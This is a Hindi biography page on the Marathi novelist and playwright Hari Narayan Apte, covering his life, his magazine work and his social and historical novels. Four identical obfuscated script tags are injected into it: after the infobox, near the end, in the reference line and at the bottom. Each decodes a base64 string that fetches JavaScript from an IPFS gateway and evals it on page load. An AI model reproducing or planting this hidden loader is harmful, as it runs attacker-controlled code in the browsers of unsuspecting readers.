हरि नारायण आपटे
हरि नारायण आपटे
| |
पूरा नाम | हरि नारायण आपटे |
जन्म | 8 मार्च, 1864 |
जन्म भूमि | ख़ानदेश (महाराष्ट्र) |
मृत्यु | 3 मार्च, 1919 |
कर्म भूमि | भारत |
कर्म-क्षेत्र | लेखन |
मुख्य रचनाएँ | 'मघली स्थिति', 'मछली स्थिति', 'गणपतराव', 'पण लक्षांत कोण वेतों', 'मो' और 'यशवंतराव खरे' आदि। |
भाषा | मराठी |
प्रसिद्धि | उपन्यासकार, नाटककार, कवि |
नागरिकता | भारतीय |
संबंधित लेख | मराठी साहित्य, मराठी भाषा, महाराष्ट्र, ख़ानदेश |
अन्य जानकारी | हरि नारायण आपटे की ऐतिहासिक दृष्टि व्यापक और विशाल थी। इनकी सामाजिक कृतियों में समाज सुधार का प्रबल संदेश है। इन्होंने मध्यमवर्गीय महिलाओं की समस्याओं का भावपूर्ण एवं कलात्मक चित्रण किया है। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
हरि नारायण आपटे (अंग्रेज़ी: Hari Narayan Apte, जन्म- 8 मार्च, 1864, महाराष्ट्र; मृत्यु- 3 मार्च, 1919) मराठी भाषा के प्रसिद्ध उपन्यासकार, कवि तथा नाटककार थे। इनकी ऐतिहासिक दृष्टि व्यापक और विशाल थी। गुप्त काल से लेकर मराठों की स्वराज्य स्थापना तक के काल पर इन्होंने कलापूर्ण उपन्यास लिखे।
परिचय
हरि नारायण आपटे का जन्म ख़ानदेश (महाराष्ट्र) में हुआ था। पूना में पढ़ते समय इनके भावुक हृदय पर निबंधमालाकार चिपलूणकर और उग्र सुधारक आगरकर का अत्यधिक प्रभाव पड़ा। इसी अवस्था में इन्होंने कई अंग्रेज़ी कहानियों का मराठी में सरस अनुवाद किया। विद्यार्थी जीवन में ही इन्होंने संस्कृत के नाटकों का तथा स्कॉट, डिकसन, थैकरे, रेनाल्ड्स इत्यादि के उपन्यासों का गहरा अध्ययन किया और लोकमंगल की दृष्टि से उपन्यास रचना की आकांक्षा इनमें अंकुरित हुई।[1]
लेखन कार्य
सन 1885 में हरि नारायण आपटे का 'मघली स्थिति' नामक पहला सामाजिक उपन्यास एक समाचार पत्र में क्रमश: प्रकाशित होने लगा। बी. ए. की परीक्षा में अनुत्तीर्ण होने पर इन्होंने 'करमणूक' नामक पत्रिका का संपादन करना आरंभ किया। यह कार्य ये अट्ठाईस वर्षों तक सफलता से करते रहे। इस पत्रिका में इनके लगभग इक्कीस उपन्यास प्रकाशित हुए, जिनमें दस सामाजिक और ग्यारह ऐतिहासिक हैं। मराठी उपन्यास के क्षेत्र में क्रांति का संदेश लेकर ये अवर्तीण हुए। इनकी रचनाओं से मराठी उपन्यास साहित्य की सर्वांगीण समृद्धि हुई।
सामाजिक कृतियाँ
हरि नारायण आपटे की सामाजिक कृतियों में समाज सुधार का प्रबल संदेश है। मुख्य सामाजिक उपन्यासों में 'मछली स्थिति', 'गणपतराव', 'पण लक्षांत कोण वेतों', 'मो' और 'यशवंतराव खरे' उत्कृष्ट हैं। ये चरित्र चित्रण करने में सिद्धहस्त थे। इनकी रचनाओं में यथार्थवाद, ध्येयवाद और आदर्शवाद का मनोहर संगम है। साथ ही मिल और स्पेंसर के बुद्धिवाद का रोचक विवेचन भी है। इन्होंने मध्यमवर्गीय महिलाओं की समस्याओं का भावपूर्ण एवं कलात्मक चित्रण किया।[1]
इनके सामाजिक उपन्यास ऐतिहासिक उपन्यास जैसे सजीव चरित्र चित्रण से ओतप्रोत हैं। ये 'सत्यम् शिवम् सुंदरम्' के अनन्य उपासक थे। इनकी कहानियाँ 'स्फुट गोष्ठी' नामक चार पुस्तकों में संग्रहीत हैं। इनमें चरित्र चित्रण तथा घटना चित्रण का मनोहर संगम है। कला तथा सौंदर्य की अभिव्यक्ति करते हुए जनजागरण का उदात्त कार्य करते में ये सफल रहे।
ऐतिहासिक उपन्यास
इनके ऐतिहासिक उपन्यासों में 'चंद्रगुप्त', 'उष:काल', 'गड आला पण सिंह गेला' और 'वज्राघात' उत्कृष्ट कृतियाँ है। इनकी ऐतिहासिक दृष्टि व्यापक और विशाल थी। गुप्त काल से मराठों की स्वराज्य स्थापना तक के काल पर इन्होंने कलापूर्ण उपन्यास लिखे। 'वज्राघात' हरि नारायण आपटे की अंतिम कृति है, जिसमें दक्षिण भारत के विजयानगरम् राज्य के नाश का प्रभावकारी चित्रण है। इसकी भाषा काव्यपूर्ण और सरस है।[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 हरि नारायण आपटे (हिन्दी) भारतखोज।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>